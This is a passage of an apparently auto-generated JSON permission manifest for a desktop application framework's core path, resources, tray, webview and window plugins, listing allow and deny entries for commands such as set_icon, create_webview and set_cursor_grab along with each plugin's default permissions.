scope.","commands":{"allow":[],"deny":["basename"]}},"deny-dirname":{"identifier":"deny-dirname","description":"Denies the dirname command without any pre-configured scope.","commands":{"allow":[],"deny":["dirname"]}},"deny-extname":{"identifier":"deny-extname","description":"Denies the extname command without any pre-configured scope.","commands":{"allow":[],"deny":["extname"]}},"deny-is-absolute":{"identifier":"deny-is-absolute","description":"Denies the is_absolute command without any pre-configured scope.","commands":{"allow":[],"deny":["is_absolute"]}},"deny-join":{"identifier":"deny-join","description":"Denies the join command without any pre-configured scope.","commands":{"allow":[],"deny":["join"]}},"deny-normalize":{"identifier":"deny-normalize","description":"Denies the normalize command without any pre-configured scope.","commands":{"allow":[],"deny":["normalize"]}},"deny-resolve":{"identifier":"deny-resolve","description":"Denies the resolve command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve"]}},"deny-resolve-directory":{"identifier":"deny-resolve-directory","description":"Denies the resolve_directory command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve_directory"]}}},"permission_sets":{},"global_scope_schema":null},"core:resources":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-close"]},"permissions":{"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}}},"permission_sets":{},"global_scope_schema":null},"core:tray":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-new","allow-get-by-id","allow-remove-by-id","allow-set-icon","allow-set-menu","allow-set-tooltip","allow-set-title","allow-set-visible","allow-set-temp-dir-path","allow-set-icon-as-template","allow-set-icon-with-as-template","allow-set-show-menu-on-left-click"]},"permissions":{"allow-get-by-id":{"identifier":"allow-get-by-id","description":"Enables the get_by_id command without any pre-configured scope.","commands":{"allow":["get_by_id"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-remove-by-id":{"identifier":"allow-remove-by-id","description":"Enables the remove_by_id command without any pre-configured scope.","commands":{"allow":["remove_by_id"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-icon-as-template":{"identifier":"allow-set-icon-as-template","description":"Enables the set_icon_as_template command without any pre-configured scope.","commands":{"allow":["set_icon_as_template"],"deny":[]}},"allow-set-icon-with-as-template":{"identifier":"allow-set-icon-with-as-template","description":"Enables the set_icon_with_as_template command without any pre-configured scope.","commands":{"allow":["set_icon_with_as_template"],"deny":[]}},"allow-set-menu":{"identifier":"allow-set-menu","description":"Enables the set_menu command without any pre-configured scope.","commands":{"allow":["set_menu"],"deny":[]}},"allow-set-show-menu-on-left-click":{"identifier":"allow-set-show-menu-on-left-click","description":"Enables the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":["set_show_menu_on_left_click"],"deny":[]}},"allow-set-temp-dir-path":{"identifier":"allow-set-temp-dir-path","description":"Enables the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":["set_temp_dir_path"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-tooltip":{"identifier":"allow-set-tooltip","description":"Enables the set_tooltip command without any pre-configured scope.","commands":{"allow":["set_tooltip"],"deny":[]}},"allow-set-visible":{"identifier":"allow-set-visible","description":"Enables the set_visible command without any pre-configured scope.","commands":{"allow":["set_visible"],"deny":[]}},"deny-get-by-id":{"identifier":"deny-get-by-id","description":"Denies the get_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["get_by_id"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-remove-by-id":{"identifier":"deny-remove-by-id","description":"Denies the remove_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_by_id"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-icon-as-template":{"identifier":"deny-set-icon-as-template","description":"Denies the set_icon_as_template command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon_as_template"]}},"deny-set-icon-with-as-template":{"identifier":"deny-set-icon-with-as-template","description":"Denies the set_icon_with_as_template command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon_with_as_template"]}},"deny-set-menu":{"identifier":"deny-set-menu","description":"Denies the set_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_menu"]}},"deny-set-show-menu-on-left-click":{"identifier":"deny-set-show-menu-on-left-click","description":"Denies the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":[],"deny":["set_show_menu_on_left_click"]}},"deny-set-temp-dir-path":{"identifier":"deny-set-temp-dir-path","description":"Denies the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":[],"deny":["set_temp_dir_path"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-tooltip":{"identifier":"deny-set-tooltip","description":"Denies the set_tooltip command without any pre-configured scope.","commands":{"allow":[],"deny":["set_tooltip"]}},"deny-set-visible":{"identifier":"deny-set-visible","description":"Denies the set_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible"]}}},"permission_sets":{},"global_scope_schema":null},"core:webview":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-webviews","allow-webview-position","allow-webview-size","allow-internal-toggle-devtools"]},"permissions":{"allow-clear-all-browsing-data":{"identifier":"allow-clear-all-browsing-data","description":"Enables the clear_all_browsing_data command without any pre-configured scope.","commands":{"allow":["clear_all_browsing_data"],"deny":[]}},"allow-create-webview":{"identifier":"allow-create-webview","description":"Enables the create_webview command without any pre-configured scope.","commands":{"allow":["create_webview"],"deny":[]}},"allow-create-webview-window":{"identifier":"allow-create-webview-window","description":"Enables the create_webview_window command without any pre-configured scope.","commands":{"allow":["create_webview_window"],"deny":[]}},"allow-get-all-webviews":{"identifier":"allow-get-all-webviews","description":"Enables the get_all_webviews command without any pre-configured scope.","commands":{"allow":["get_all_webviews"],"deny":[]}},"allow-internal-toggle-devtools":{"identifier":"allow-internal-toggle-devtools","description":"Enables the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":["internal_toggle_devtools"],"deny":[]}},"allow-print":{"identifier":"allow-print","description":"Enables the print command without any pre-configured scope.","commands":{"allow":["print"],"deny":[]}},"allow-reparent":{"identifier":"allow-reparent","description":"Enables the reparent command without any pre-configured scope.","commands":{"allow":["reparent"],"deny":[]}},"allow-set-webview-auto-resize":{"identifier":"allow-set-webview-auto-resize","description":"Enables the set_webview_auto_resize command without any pre-configured scope.","commands":{"allow":["set_webview_auto_resize"],"deny":[]}},"allow-set-webview-background-color":{"identifier":"allow-set-webview-background-color","description":"Enables the set_webview_background_color command without any pre-configured scope.","commands":{"allow":["set_webview_background_color"],"deny":[]}},"allow-set-webview-focus":{"identifier":"allow-set-webview-focus","description":"Enables the set_webview_focus command without any pre-configured scope.","commands":{"allow":["set_webview_focus"],"deny":[]}},"allow-set-webview-position":{"identifier":"allow-set-webview-position","description":"Enables the set_webview_position command without any pre-configured scope.","commands":{"allow":["set_webview_position"],"deny":[]}},"allow-set-webview-size":{"identifier":"allow-set-webview-size","description":"Enables the set_webview_size command without any pre-configured scope.","commands":{"allow":["set_webview_size"],"deny":[]}},"allow-set-webview-zoom":{"identifier":"allow-set-webview-zoom","description":"Enables the set_webview_zoom command without any pre-configured scope.","commands":{"allow":["set_webview_zoom"],"deny":[]}},"allow-webview-close":{"identifier":"allow-webview-close","description":"Enables the webview_close command without any pre-configured scope.","commands":{"allow":["webview_close"],"deny":[]}},"allow-webview-hide":{"identifier":"allow-webview-hide","description":"Enables the webview_hide command without any pre-configured scope.","commands":{"allow":["webview_hide"],"deny":[]}},"allow-webview-position":{"identifier":"allow-webview-position","description":"Enables the webview_position command without any pre-configured scope.","commands":{"allow":["webview_position"],"deny":[]}},"allow-webview-show":{"identifier":"allow-webview-show","description":"Enables the webview_show command without any pre-configured scope.","commands":{"allow":["webview_show"],"deny":[]}},"allow-webview-size":{"identifier":"allow-webview-size","description":"Enables the webview_size command without any pre-configured scope.","commands":{"allow":["webview_size"],"deny":[]}},"deny-clear-all-browsing-data":{"identifier":"deny-clear-all-browsing-data","description":"Denies the clear_all_browsing_data command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_all_browsing_data"]}},"deny-create-webview":{"identifier":"deny-create-webview","description":"Denies the create_webview command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview"]}},"deny-create-webview-window":{"identifier":"deny-create-webview-window","description":"Denies the create_webview_window command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview_window"]}},"deny-get-all-webviews":{"identifier":"deny-get-all-webviews","description":"Denies the get_all_webviews command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_webviews"]}},"deny-internal-toggle-devtools":{"identifier":"deny-internal-toggle-devtools","description":"Denies the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_devtools"]}},"deny-print":{"identifier":"deny-print","description":"Denies the print command without any pre-configured scope.","commands":{"allow":[],"deny":["print"]}},"deny-reparent":{"identifier":"deny-reparent","description":"Denies the reparent command without any pre-configured scope.","commands":{"allow":[],"deny":["reparent"]}},"deny-set-webview-auto-resize":{"identifier":"deny-set-webview-auto-resize","description":"Denies the set_webview_auto_resize command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_auto_resize"]}},"deny-set-webview-background-color":{"identifier":"deny-set-webview-background-color","description":"Denies the set_webview_background_color command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_background_color"]}},"deny-set-webview-focus":{"identifier":"deny-set-webview-focus","description":"Denies the set_webview_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_focus"]}},"deny-set-webview-position":{"identifier":"deny-set-webview-position","description":"Denies the set_webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_position"]}},"deny-set-webview-size":{"identifier":"deny-set-webview-size","description":"Denies the set_webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_size"]}},"deny-set-webview-zoom":{"identifier":"deny-set-webview-zoom","description":"Denies the set_webview_zoom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_zoom"]}},"deny-webview-close":{"identifier":"deny-webview-close","description":"Denies the webview_close command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_close"]}},"deny-webview-hide":{"identifier":"deny-webview-hide","description":"Denies the webview_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_hide"]}},"deny-webview-position":{"identifier":"deny-webview-position","description":"Denies the webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_position"]}},"deny-webview-show":{"identifier":"deny-webview-show","description":"Denies the webview_show command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_show"]}},"deny-webview-size":{"identifier":"deny-webview-size","description":"Denies the webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_size"]}}},"permission_sets":{},"global_scope_schema":null},"core:window":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-windows","allow-scale-factor","allow-inner-position","allow-outer-position","allow-inner-size","allow-outer-size","allow-is-fullscreen","allow-is-minimized","allow-is-maximized","allow-is-focused","allow-is-decorated","allow-is-resizable","allow-is-maximizable","allow-is-minimizable","allow-is-closable","allow-is-visible","allow-is-enabled","allow-title","allow-current-monitor","allow-primary-monitor","allow-monitor-from-point","allow-available-monitors","allow-cursor-position","allow-theme","allow-is-always-on-top","allow-activity-name","allow-scene-identifier","allow-internal-toggle-maximize"]},"permissions":{"allow-activity-name":{"identifier":"allow-activity-name","description":"Enables the activity_name command without any pre-configured scope.","commands":{"allow":["activity_name"],"deny":[]}},"allow-available-monitors":{"identifier":"allow-available-monitors","description":"Enables the available_monitors command without any pre-configured scope.","commands":{"allow":["available_monitors"],"deny":[]}},"allow-center":{"identifier":"allow-center","description":"Enables the center command without any pre-configured scope.","commands":{"allow":["center"],"deny":[]}},"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"allow-create":{"identifier":"allow-create","description":"Enables the create command without any pre-configured scope.","commands":{"allow":["create"],"deny":[]}},"allow-current-monitor":{"identifier":"allow-current-monitor","description":"Enables the current_monitor command without any pre-configured scope.","commands":{"allow":["current_monitor"],"deny":[]}},"allow-cursor-position":{"identifier":"allow-cursor-position","description":"Enables the cursor_position command without any pre-configured scope.","commands":{"allow":["cursor_position"],"deny":[]}},"allow-destroy":{"identifier":"allow-destroy","description":"Enables the destroy command without any pre-configured scope.","commands":{"allow":["destroy"],"deny":[]}},"allow-get-all-windows":{"identifier":"allow-get-all-windows","description":"Enables the get_all_windows command without any pre-configured scope.","commands":{"allow":["get_all_windows"],"deny":[]}},"allow-hide":{"identifier":"allow-hide","description":"Enables the hide command without any pre-configured scope.","commands":{"allow":["hide"],"deny":[]}},"allow-inner-position":{"identifier":"allow-inner-position","description":"Enables the inner_position command without any pre-configured scope.","commands":{"allow":["inner_position"],"deny":[]}},"allow-inner-size":{"identifier":"allow-inner-size","description":"Enables the inner_size command without any pre-configured scope.","commands":{"allow":["inner_size"],"deny":[]}},"allow-internal-toggle-maximize":{"identifier":"allow-internal-toggle-maximize","description":"Enables the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":["internal_toggle_maximize"],"deny":[]}},"allow-is-always-on-top":{"identifier":"allow-is-always-on-top","description":"Enables the is_always_on_top command without any pre-configured scope.","commands":{"allow":["is_always_on_top"],"deny":[]}},"allow-is-closable":{"identifier":"allow-is-closable","description":"Enables the is_closable command without any pre-configured scope.","commands":{"allow":["is_closable"],"deny":[]}},"allow-is-decorated":{"identifier":"allow-is-decorated","description":"Enables the is_decorated command without any pre-configured scope.","commands":{"allow":["is_decorated"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-is-focused":{"identifier":"allow-is-focused","description":"Enables the is_focused command without any pre-configured scope.","commands":{"allow":["is_focused"],"deny":[]}},"allow-is-fullscreen":{"identifier":"allow-is-fullscreen","description":"Enables the is_fullscreen command without any pre-configured scope.","commands":{"allow":["is_fullscreen"],"deny":[]}},"allow-is-maximizable":{"identifier":"allow-is-maximizable","description":"Enables the is_maximizable command without any pre-configured scope.","commands":{"allow":["is_maximizable"],"deny":[]}},"allow-is-maximized":{"identifier":"allow-is-maximized","description":"Enables the is_maximized command without any pre-configured scope.","commands":{"allow":["is_maximized"],"deny":[]}},"allow-is-minimizable":{"identifier":"allow-is-minimizable","description":"Enables the is_minimizable command without any pre-configured scope.","commands":{"allow":["is_minimizable"],"deny":[]}},"allow-is-minimized":{"identifier":"allow-is-minimized","description":"Enables the is_minimized command without any pre-configured scope.","commands":{"allow":["is_minimized"],"deny":[]}},"allow-is-resizable":{"identifier":"allow-is-resizable","description":"Enables the is_resizable command without any pre-configured scope.","commands":{"allow":["is_resizable"],"deny":[]}},"allow-is-visible":{"identifier":"allow-is-visible","description":"Enables the is_visible command without any pre-configured scope.","commands":{"allow":["is_visible"],"deny":[]}},"allow-maximize":{"identifier":"allow-maximize","description":"Enables the maximize command without any pre-configured scope.","commands":{"allow":["maximize"],"deny":[]}},"allow-minimize":{"identifier":"allow-minimize","description":"Enables the minimize command without any pre-configured scope.","commands":{"allow":["minimize"],"deny":[]}},"allow-monitor-from-point":{"identifier":"allow-monitor-from-point","description":"Enables the monitor_from_point command without any pre-configured scope.","commands":{"allow":["monitor_from_point"],"deny":[]}},"allow-outer-position":{"identifier":"allow-outer-position","description":"Enables the outer_position command without any pre-configured scope.","commands":{"allow":["outer_position"],"deny":[]}},"allow-outer-size":{"identifier":"allow-outer-size","description":"Enables the outer_size command without any pre-configured scope.","commands":{"allow":["outer_size"],"deny":[]}},"allow-primary-monitor":{"identifier":"allow-primary-monitor","description":"Enables the primary_monitor command without any pre-configured scope.","commands":{"allow":["primary_monitor"],"deny":[]}},"allow-request-user-attention":{"identifier":"allow-request-user-attention","description":"Enables the request_user_attention command without any pre-configured scope.","commands":{"allow":["request_user_attention"],"deny":[]}},"allow-scale-factor":{"identifier":"allow-scale-factor","description":"Enables the scale_factor command without any pre-configured scope.","commands":{"allow":["scale_factor"],"deny":[]}},"allow-scene-identifier":{"identifier":"allow-scene-identifier","description":"Enables the scene_identifier command without any pre-configured scope.","commands":{"allow":["scene_identifier"],"deny":[]}},"allow-set-always-on-bottom":{"identifier":"allow-set-always-on-bottom","description":"Enables the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":["set_always_on_bottom"],"deny":[]}},"allow-set-always-on-top":{"identifier":"allow-set-always-on-top","description":"Enables the set_always_on_top command without any pre-configured scope.","commands":{"allow":["set_always_on_top"],"deny":[]}},"allow-set-background-color":{"identifier":"allow-set-background-color","description":"Enables the set_background_color command without any pre-configured scope.","commands":{"allow":["set_background_color"],"deny":[]}},"allow-set-badge-count":{"identifier":"allow-set-badge-count","description":"Enables the set_badge_count command without any pre-configured scope.","commands":{"allow":["set_badge_count"],"deny":[]}},"allow-set-badge-label":{"identifier":"allow-set-badge-label","description":"Enables the set_badge_label command without any pre-configured scope.","commands":{"allow":["set_badge_label"],"deny":[]}},"allow-set-closable":{"identifier":"allow-set-closable","description":"Enables the set_closable command without any pre-configured scope.","commands":{"allow":["set_closable"],"deny":[]}},"allow-set-content-protected":{"identifier":"allow-set-content-protected","description":"Enables the set_content_protected command without any pre-configured scope.","commands":{"allow":["set_content_protected"],"deny":[]}},"allow-set-cursor-grab":{"identifier":"allow-set-cursor-grab","description":"Enables the set_cursor_grab command without any pre-configured scope.","commands":{"allow":["set_cursor_grab"],"deny":[]}},"allow-set-cursor-icon":{"identifier":"allow-set-cursor-icon","description":"Enables the set_cursor_icon command without any pre-configured scope.","commands":{"allow":["set_cursor_icon"],"deny":[]}},"allow-set-cursor-position":{"identifier":"allow-set-cursor-position","description":"Enables the set_cursor_position command without any pre-configured scope.","commands":{"allow":["set_cursor_position"],"deny":[]}},"allow-set-cursor-visible":{"identifier":"allow-set-cursor-visible","description":"Enables the set_cursor_visible command without any pre-configured scope.","commands":{"allow":["set_cursor_visible"],"deny":[]}},"allow-set-decorations":{"identifier":"allow-set-decorations","description":"Enables the set_decorations command without any pre-configured scope.","commands":{"allow":["set_decorations"],"deny":[]}},"allow-set-effects":{"identifier":"allow-set-effects","description":"Enables the set_effects command without any pre-configured scope.","commands":{"allow":["set_effects"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-focus":{"identifier":"allow-set-focus","description":"Enables the set_focus command without any pre-configured scope.","commands":{"allow":["set_focus"],"deny":[]}},"allow-set-focusable":{"identifier":"allow-set-focusable","description":"Enables the set_focusable command without any pre-configured scope.","commands":{"allow":["set_focusable"],"deny":[]}},"allow-set-fullscreen":{"identifier":"allow-set-fullscreen","description":"Enables the set_fullscreen command without any pre-configured scope.","commands":{"allow":["set_fullscreen"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-ignore-cursor-events":{"identifier":"allow-set-ignore-cursor-events","description":"Enables the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":["set_ignore_cursor_events"],"deny":[]}},"allow-set-max-size":{"identifier":"allow-set-max-size","description":"Enables the set_max_size command without any pre-configured scope.","commands":{"allow":["set_max_size"],"deny":[]}},"allow-set-maximizable":{"identifier":"allow-set-maximizable","description":"Enables the set_maximizable command without any pre-configured scope.","commands":{"allow":["set_maximizable"],"deny":[]}},"allow-set-min-size":{"identifier":"allow-set-min-size","description":"Enables the set_min_size command without any pre-configured scope.","commands":{"allow":["set_min_size"],"deny":[]}},"allow-set-minimizable":{"identifier":"allow-set-minimizable","description":"Enables the set_minimizable command without any pre-configured scope.","commands":{"allow":["set_minimizable"],"deny":[]}},"allow-set-overlay-icon":{"identifier":"allow-set-overlay-icon","description":"Enables the set_overlay_icon command without any pre-configured scope.","commands":{"allow":["set_overlay_icon"],"deny":[]}},"allow-set-position":{"identifier":"allow-set-position","description":"Enables the set_position command without any pre-configured scope.","commands":{"allow":["set_position"],"deny":[]}},"allow-set-progress-bar":{"identifier":"allow-set-progress-bar","description":"Enables the set_progress_bar command without any pre-configured scope.","commands":{"allow":["set_progress_bar"],"deny":[]}},"allow-set-resizable":{"identifier":"allow-set-resizable","description":"Enables the set_resizable command without any pre-configured scope.","commands":{"allow":["set_resizable"],"deny":[]}},"allow-set-shadow":{"identifier":"allow-set-shadow","description":"Enables the set_shadow command without any pre-configured scope.","commands":{"allow":["set_shadow"],"deny":[]}},"allow-set-simple-fullscreen":{"identifier":"allow-set-simple-fullscreen","description":"Enables the set_simple_fullscreen command without any pre-configured scope.","commands":{"allow":["set_simple_fullscreen"],"deny":[]}},"allow-set-size":{"identifier":"allow-set-size","description":"Enables the set_size command without any pre-configured scope.","commands":{"allow":["set_size"],"deny":[]}},"allow-set-size-constraints":{"identifier":"allow-set-size-constraints","description":"Enables the set_size_constraints command without any pre-configured scope.","commands":{"allow":["set_size_constraints"],"deny":[]}},"allow-set-skip-taskbar":{"identifier":"allow-set-skip-taskbar","description":"Enables the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":["set_skip_taskbar"],"deny":[]}},"allow-set-theme":{"identifier":"allow-set-theme","description":"Enables the set_theme command without any pre-configured scope.","commands":{"allow":["set_theme"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-title-bar-style":{"identifier":"allow-set-title-bar-style","description":"Enables the set_title_bar_style command without any pre-configured scope.","commands":{"allow":["set_title_bar_style"],"deny":[]}},"allow-set-visible-on-all-workspaces":{"identifier":"allow-set-visible-on-all-workspaces","description":"Enables the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":["set_visible_on_all_workspaces"],"deny":[]}},"allow-show":{"identifier":"allow-show","description":"Enables the show command without any pre-configured scope.","commands":{"allow":["show"],"deny":[]}},"allow-start-dragging":{"identifier":"allow-start-dragging","description":"Enables the start_dragging command without any pre-configured scope.","commands":{"allow":["start_dragging"],"deny":[]}},"allow-start-resize-dragging":{"identifier":"allow-start-resize-dragging","description":"Enables the start_resize_dragging command without any pre-configured scope.","commands":{"allow":["start_resize_dragging"],"deny":[]}},"allow-theme":{"identifier":"allow-theme","description":"Enables the theme command without any pre-configured scope.","commands":{"allow":["theme"],"deny":[]}},"allow-title":{"identifier":"allow-title","description":"Enables the title command without any pre-configured scope.","commands":{"allow":["title"],"deny":[]}},"allow-toggle-maximize":{"identifier":"allow-toggle-maximize","description":"Enables the toggle_maximize command without any pre-configured scope.","commands":{"allow":["toggle_maximize"],"deny":[]}},"allow-unmaximize":{"identifier":"allow-unmaximize","description":"Enables the unmaximize command without any pre-configured scope.","commands":{"allow":["unmaximize"],"deny":[]}},"allow-unminimize":{"identifier":"allow-unminimize","description":"Enables the unminimize command without any pre-configured scope.","commands":{"allow":["unminimize"],"deny":[]}},"deny-activity-name":{"identifier":"deny-activity-name","description":"Denies the activity_name command without any pre-configured scope.","commands":{"allow":[],"deny":["activity_name"]}},"deny-available-monitors":{"identifier":"deny-available-monitors","description":"Denies the available_monitors command without any pre-configured scope.","commands":{"allow":[],"deny":["available_monitors"]}},"deny-center":{"identifier":"deny-center","description":"Denies the center command without any pre-configured scope.","commands":{"allow":[],"deny":["center"]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}},"deny-create":{"identifier":"deny-create","description":"Denies the create command without any pre-configured scope.","commands":{"allow":[],"deny":["create"]}},"deny-current-monitor":{"identifier":"deny-current-monitor","description":"Denies the current_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["current_monitor"]}},"deny-cursor-position":{"identifier":"deny-cursor-position","description":"Denies the cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["cursor_position"]}},"deny-destroy":{"identifier":"deny-destroy","description":"Denies the destroy command without any pre-configured scope.","commands":{"allow":[],"deny":["destroy"]}},"deny-get-all-windows":{"identifier":"deny-get-all-windows","description":"Denies the get_all_windows command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_windows"]}},"deny-hide":{"identifier":"deny-hide","description":"Denies the hide command without any pre-configured scope.","commands":{"allow":[],"deny":["hide"]}},"deny-inner-position":{"identifier":"deny-inner-position","description":"Denies the inner_position command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_position"]}},"deny-inner-size":{"identifier":"deny-inner-size","description":"Denies the inner_size command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_size"]}},"deny-internal-toggle-maximize":{"identifier":"deny-internal-toggle-maximize","description":"Denies the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_maximize"]}},"deny-is-always-on-top":{"identifier":"deny-is-always-on-top","description":"Denies the is_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["is_always_on_top"]}},"deny-is-closable":{"identifier":"deny-is-closable","description":"Denies the is_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_closable"]}},"deny-is-decorated":{"identifier":"deny-is-decorated","description":"Denies the is_decorated command without any pre-configured scope.","commands":{"allow":[],"deny":["is_decorated"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-is-focused":{"identifier":"deny-is-focused","description":"Denies the is_focused command without any pre-configured scope.","commands":{"allow":[],"deny":["is_focused"]}},"deny-is-fullscreen":{"identifier":"deny-is-fullscreen","description":"Denies the is_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["is_fullscreen"]}},"deny-is-maximizable":{"identifier":"deny-is-maximizable","description":"Denies the is_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximizable"]}},"deny-is-maximized":{"identifier":"deny-is-maximized","description":"Denies the is_maximized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximized"]}},"deny-is-minimizable":{"identifier":"deny-is-minimizable","description":"Denies the is_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimizable"]}},"deny-is-minimized":{"identifier":"deny-is-minimized","description":"Denies the is_minimized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimized"]}},"deny-is-resizable":{"identifier":"deny-is-resizable","description":"Denies the is_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_resizable"]}},"deny-is-visible":{"identifier":"deny-is-visible","description":"Denies the is_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["is_visible"]}},"deny-maximize":{"identifier":"deny-maximize","description":"Denies the maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["maximize"]}},"deny-minimize":{"identifier":"deny-minimize","description":"Denies the minimize command without any pre-configured scope.","commands":{"allow":[],"deny":["minimize"]}},"deny-monitor-from-point":{"identifier":"deny-monitor-from-point","description":"Denies the monitor_from_point command without any pre-configured scope.","commands":{"allow":[],"deny":["monitor_from_point"]}},"deny-outer-position":{"identifier":"deny-outer-position","description":"Denies the outer_position command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_position"]}},"deny-outer-size":{"identifier":"deny-outer-size","description":"Denies the outer_size command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_size"]}},"deny-primary-monitor":{"identifier":"deny-primary-monitor","description":"Denies the primary_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["primary_monitor"]}},"deny-request-user-attention":{"identifier":"deny-request-user-attention","description":"Denies the request_user_attention command without any pre-configured scope.","commands":{"allow":[],"deny":["request_user_attention"]}},"deny-scale-factor":{"identifier":"deny-scale-factor","description":"Denies the scale_factor command without any pre-configured scope.","commands":{"allow":[],"deny":["scale_factor"]}},"deny-scene-identifier":{"identifier":"deny-scene-identifier","description":"Denies the scene_identifier command without any pre-configured scope.","commands":{"allow":[],"deny":["scene_identifier"]}},"deny-set-always-on-bottom":{"identifier":"deny-set-always-on-bottom","description":"Denies the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_bottom"]}},"deny-set-always-on-top":{"identifier":"deny-set-always-on-top","description":"Denies the set_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_top"]}},"deny-set-background-color":{"identifier":"deny-set-background-color","description":"Denies the set_background_color command without any pre-configured scope.","commands":{"allow":[],"deny":["set_background_color"]}},"deny-set-badge-count":{"identifier":"deny-set-badge-count","description":"Denies the set_badge_count command without any pre-configured scope.","commands":{"allow":[],"deny":["set_badge_count"]}},"deny-set-badge-label":{"identifier":"deny-set-badge-label","description":"Denies the set_badge_label command without any pre-configured scope.","commands":{"allow":[],"deny":["set_badge_label"]}},"deny-set-closable":{"identifier":"deny-set-closable","description":"Denies the set_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_closable"]}},"deny-set-content-protected":{"identifier":"deny-set-content-protected","description":"Denies the set_content_protected command without any pre-configured scope.","commands":{"allow":[],"deny":["set_content_protected"]}},"deny-set-cursor-grab":{"identifier":"deny-set-cursor-grab","description":"Denies the set_cursor_grab command without any pre-configured 